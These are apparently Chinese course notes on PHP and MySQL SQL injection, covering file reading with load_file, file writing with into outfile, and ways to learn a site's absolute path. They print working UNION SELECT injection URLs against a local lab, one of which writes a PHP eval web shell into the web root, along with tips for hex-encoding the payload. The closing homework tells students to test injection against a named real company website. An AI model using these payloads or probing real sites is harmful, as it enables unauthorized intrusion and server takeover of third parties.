php+mysql注入下
(文件读取及文件导出)
注意:mysql数据库默认最高权限用户为root
查询参数:
- 数据库名 database() fanke
- 数据库版本 version() 5.1.28-rc-community
- 数据库用户 user() root@localhost
- 操作系统 version_compile_os Win32
4.1.Windows,linux主机大小写敏感问题
Windows大小写不敏感
Linux大小写敏感
4.2文件目录结构问题
4.3搭建平台问题
Mysql
Fanke
User
Username,password
内容
数据库b
表名
列名
内容
数据库c
表名
列名
内容
mysql命令行连接mysql数据库
使用方法:mysql.exe -u用户名 -p密码 -h地址
测试不同用户登录的文件操作权限
文件读取:load_file 文件导出:into outfile
select load_file('d:/debug.txt');
select 'aaaa' into outfile 'd:/d.txt';
Root用户登录的权限情况:
可以文件读取,可以文件导出
Test用户登录的权限情况:
无法文件读取及文件导出
问题:网站绝对路径怎么获取?
- 报错显示
- 谷歌黑客
- 遗留文件
- 读配置文件
搭建平台配置文件会存储网站的信息,其中包括网站的绝对路径信息
- 漏洞报错
注意:文件路径符号问题(“/”或“\\”)
编程中“\”代表的是转义字符
文件读取:
http://127.0.0.1:88/test/test.php?x=4 UNION SELECT load_file('D:\\APMServ5.2.6\\www\\htdocs\\test\\test.php'),2,3,4,5
文件写入:
127.0.0.1:88/test/test.php?x=4 UNION SELECT '<?php @eval($_POST[pass]);?>',2,3,4,5 into outfile 'D:\\APMServ5.2.6\\www\\htdocs\\test\\2.php'
注意:文件写入一句话时,务必注意单引号问题,一句话不要带单引号或者采用编码写入。
(采用编码及不用单引号,用单引号就不能采用编码,hex编码)
作业:
- 本地php文件读取写入测试
- 实际网站测试注入http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=56